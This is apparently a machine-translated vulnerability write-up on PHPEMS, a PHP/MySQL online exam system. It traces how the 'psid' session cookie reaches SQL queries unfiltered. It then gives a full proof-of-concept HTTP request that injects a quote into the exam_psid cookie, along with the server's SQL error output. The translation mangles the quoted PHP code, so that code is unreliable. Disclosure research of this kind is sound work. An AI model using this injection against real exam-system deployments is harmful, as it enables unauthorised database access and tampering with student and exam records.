PHPEMS (PHPExamManagementSystem) is developed based on PHP + Mysql. It is mainly used to build a simulated Examination Platform and supports multiple questions and display methods, it is China's first PHP open-source online simulated examination System PHPEMS (PHP Exam Management System) that combines question taking and automatic scoring with instructor scoring. It is developed based on PHP + Mysql, it is mainly used to build a simulated examination platform that supports multiple questions and display methods. It is the first PHP open-source online simulated Examination System in China that supports the combination of question taking and Automatic Scoring and teacher scoring.
Script ec (2); script
With this system, you can quickly build a website platform for simulated examinations to implement paperless examinations, real test room simulations, and knowledge enhancement exercises. It can meet the examination requirements of training institutions, schools, companies and other institutions.
| The Code is as follows: |
|
|
Public function _ construct (& $ G)
{
$ This-> G = $ G;
If (ini_get ('Magic _ quotes_gpc ')){
$ Get = $ this-> stripSlashes ($ _ REQUEST );
$ Post = $ this-> stripSlashes ($ _ POST );
$ This-> cookie = $ this-> stripSlashes ($ _ COOKIE );
} Else {
$ Get =$ _ REQUEST;
$ Post =$ _ POST;
$ This-> cookie =$ _ COOKIE;
}
$ This-> file =$ _ FILES;
$ This-> get = $ this-> initData ($ get );
$ This-> post = $ this-> initData ($ post );
$ This-> url = $ this-> parseUrl ();
}
..........
// Obtain the cookie
Public function getCookie ($ par, $ nohead = 0)
{
If (isset ($ this-> cookie [CH. $ par]) return $ this-> cookie [CH. $ par];
Elseif (isset ($ this-> cookie [$ par]) & $ nohead) return $ this-> cookie [$ par];
Else return false;
} |
If you enable GPC, programmers also use stripSlashes () to disable it.
| The Code is as follows: |
|
Public function getSessionId ()
{
$ Sessionid = $ this-> ev-> getCookie ('psid ');
If (! $ Sessionid)
{
If ($ this-> ev-> getCookie ('phpsessid ', 1 ))
{
$ This-> ev-> setCookie ('psid', $ this-> ev-> getCookie ('phpsessid', 1), 3600*24 );
$ Sessionid = $ this-> ev-> getCookie ('phpsessid ', 1 );
}
Else
{
$ Sid = md5 ($ this-> ev-> getClientIp (). '/'. $ _ SERVER ['HTTP _ X_FORWARDED_FOR ']. '/'. $ _ SERVER ['remote _ ADDR ']. ':'. $ _ SERVER ['remote _ port']. ':'. $ _ SERVER ['HTTP _ USER_AGENT ']. ':'. date ('Y-m-d '));
$ This-> ev-> setCookie ('psid ', $ sid, 3600*24 );
$ Sessionid = $ sid;
}
$ Data = array ('session ', array ('sessionid' => $ sessionid, 'sessionuserid' => 0, 'sessionip' => $ this-> ev-> getClientIp ()));
$ SQL = $ this-> SQL-> makeReplace ($ data );
$ This-> db-> exec ($ SQL );
}
$ This-> sessionid = $ sessionid;
Return $ this-> sessionid;
}
Get the psid parameter and save it in $ sessionid.
// Modify the exam session content
// Parameter: array of session content
// Return value: true
Public function modifyExamSession ($ args)
{
$ Sessionid = $ this-> session-> getSessionId ();
$ Data = array ('examsession', $ args, "examsessionid = '{$ sessionid }'");
$ SQL = $ this-> SQL-> makeUpdate ($ data );
$ This-> db-> exec ($ SQL );
Return true;
}
|
Any location to enter the database.
From the process above, we can see that the database is accessed without any filtering.
Request:
POST/index. php? Exam-app-basics-openit HTTP/1.1
Host: phpems.0day5.com
Proxy-Connection: keep-alive
Content-Length: 79
Origin: http://phpems.0day5.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded; charset = UTF-8
Accept :*/*
Referer: http://phpems.0day5.com/index.php? Exam-app-basics-detail & basicid = 4
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN, zh; q = 0.8
Accept-Charset: GBK, UTF-8; q = 0.7, *; q = 0.3
Cookie: exam_psid = c6f1b7acd452e6d72a3ede0f501a9211 '; exam_currentuser = % 25B4% 2585% 258B % 2585% 25CE % 25BE % 258D % 257C % 2586% 2585u % 25BE % 25B8% 25BE % 25C6% 25B4% 25C2% 25B9% 25C8% 25BE % 25B8% 25BD % 25BC % 25AFu % 2586% 25C6% 2585% 2585% 2585u % 2581% 258Bm % 258E % 25BE % 258D % 257C % 2588% 2585u % 25BE % 25B8% 25BE % 25C6% 25B4% 25C2% 25B9% 25C3% 25AC % 25C6% 25BE % 25CA % 25BA % 25C5% 25AFu % 2586% 25C6% 2585% 257D % 258Dm % 258C % 2586% 25B8% 2581% 258C % 257D % 2582% 2584% 258C % 2581% 2588% 25B0% 25B5% 2582% 2585% 25AE % 258C % 257D % 25B4% 2580% 2587% 2584% 25B7% 25AF % 2588% 25AC % 2586% 257E % 2583% 257C % 2584% 257Du % 2586% 25C6% 2585% 258C % 2585u % 25BE % 25B8% 25BE % 25C6% 25B4% 25C2% 25B9% 25BC % 25BBu % 2586% 25C6% 2585% 258C % 2585u % 257C % 2585% 2582% 257B % 2581% 257B % 2581% 257Cu % 2586% 25C6% 2585% 2584% 257F % 258Dm % 25C6% 25B0% 25C6% 25BE % 25BC % 25BA % 25C1% 25B2% 25C5% 25BA % 25C8% 25BB % 25BC % 25AFu % 2586% 25C6% 2585% 2584% 2585u % 2583u % 2586% 25C6% 2585% 2584% 2581% 258Dm % 25C6% 25B0% 25C6% 25BE % 25BC % 25BA % 25C1% 25B7% 25C2% 25B2% 25BC % 25B9% 25C7% 25B4% 25C0% 25B0u % 2586% 25BC % 2585% 2584% 257E % 258B % 2584% 2588% 257C % 2589% 258B % 257E % 258E % 25BE % 258D % 257C % 2582% 2585u % 25BE % 25B8% 25BE % 25C6% 25B4% 25C2% 25B9% 25C8% 25BE % 25B8% 25BD % 25C1% 25AC % 25C0% 25B0u % 2586% 25C6% 2585% 2585u % 257C % 2589% 257C % 2584% 257C % 2584 m % 258E % 25BE % 258D % 257C % 2589% 2585u % 25BE % 25B8% 25BE % 25C6% 25B4% 25C2% 25B9% 25C7% 25B4% 25C0% 25B0% 25BF % 25B4% 25C0% 25B4% 25C7m % 258E % 25B4% 258D % 257C % 2586% 2583% 258C % 2580% 2584% 2581% 258A % 2583% 2586% 25C6% 2586% 258C % 2585u % 25BE % 25B8% 25BE % 25C6% 25B4% 25C2% 25B9% 25BC % 25AFu % 2586% 25C6% 2585% 2586% 257D % 258Dm % 25B6% 2581% 25B9% 257C % 25B5% 2582% 25B4% 25AE % 25B7% 257F % 2588% 257D % 25B8% 2581% 25B7% 2582% 2585% 25AC % 2586% 25B0% 25B7% 25B0% 2583% 25B1% 2588% 257B % 2584% 25AC % 258C % 257D % 2584% 257Cu % 2586% 25D0; CNZZDATA5243664 = cnzz_eid % 3D2105242747-1389515449-% 26 ntime % 3D1389515449% 26cnzz_a % 3D3% 26sin % 3 Dnone % 26 ltime % 3D1389515448225
Response:
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 09:32:14 GMT
Server: Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.22
X-Powered-By: PHP/5.4.22
P3P: CP = CAO PSA OUR
Content-Length: 606
Content-Type: text/html; charset = UTF-8
ERRO: SELECT * FROM x2_session AS session WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211 ''limit 0,100: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100 'at line 1 ERRO: UPDATE x2_session AS session SET 'sessionlasttime' = '000000' WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211 ': You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211 ''' at line 1
Vulnerability proof.